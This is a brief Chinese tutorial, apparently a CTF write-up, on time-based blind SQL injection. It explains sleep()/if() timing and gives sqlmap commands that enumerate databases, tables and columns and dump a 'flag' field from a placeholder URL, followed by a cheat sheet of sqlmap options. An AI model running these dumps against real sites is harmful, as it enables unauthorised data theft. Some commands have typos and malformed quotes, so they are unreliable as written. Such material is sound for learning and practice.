1.原理:
时间盲注,一般就是在页面没有任何正确或错误回显的情况下,用时间函数构造时间延后,由回显时间来获取数据,主要是利用sleep函数让sql语句的执行时间变长,常与if(1,2,3)函数连用如果1执行为ture则返回2,否则返回3.
2.过程:
使用sqlmap来做(Windows)
查数据库名
python sqlmap.py -u url/?id=1 --current-db
从以下可以看出:使用时间盲注 Type: time-based blind
查表名
sqlmap -u "url/?id=1”-D sqli --tables
查列名
sqlmap -u "url/?id=1"-D sqli -T flag --columns
查字段信息
sqlmap -u "url/?id=1"-D sqli -T flag -c flag --dump
最后就得到flag了
3.提醒和补充:
1.sqlmap在Windows和liux中安装都要Python环境,
在liux中
apt-cache search <软件包名称>(在软件仓库查询某个软件的名称)
apt-cache show <软件包名称> (查看软件包的相关信息)
apt-get install <软件名称> (注意在使用此命令之前,要使用 apt-get update,使得当前软件库与相应文件同步,更新或者安装某个软件)
其他,如果我们的软件库中没有相应的软件包,那么我们可以从软件研发的团队的网站上下载;
使用他们提供的.deb安装包。(后缀为deb的文件是Debian的安装包文件);如果没有提供软件包,我们可以通过源码来安装。
2.python sqlmap.PY -help 来得到sqlmap中的所以命令
(这是部分内容)
3.常用的sqlmap语句:
整个的单词 需要用两个横杠–,缩写的单词 需要一个横杠-
python sqlmap/sqlmap.py -u “url/?id=1” –current-user #获取当前用户名称
python sqlmap/sqlmap.py -u “url/?id=1” –current-db #获取当前数据库名称
python sqlmap/sqlmap.py -u“url/?id=1” –tables -D “db_name” #列表名
python sqlmap/sqlmap.py -u “url/?id=1” –columns -T “tablename” users-D “db_name” -v 0 #列字段
python sqlmap/sqlmap.py -u “url/?id=1” –dump -C “column_name” -T “table_name” -D “db_name” -v 0#获取字段内容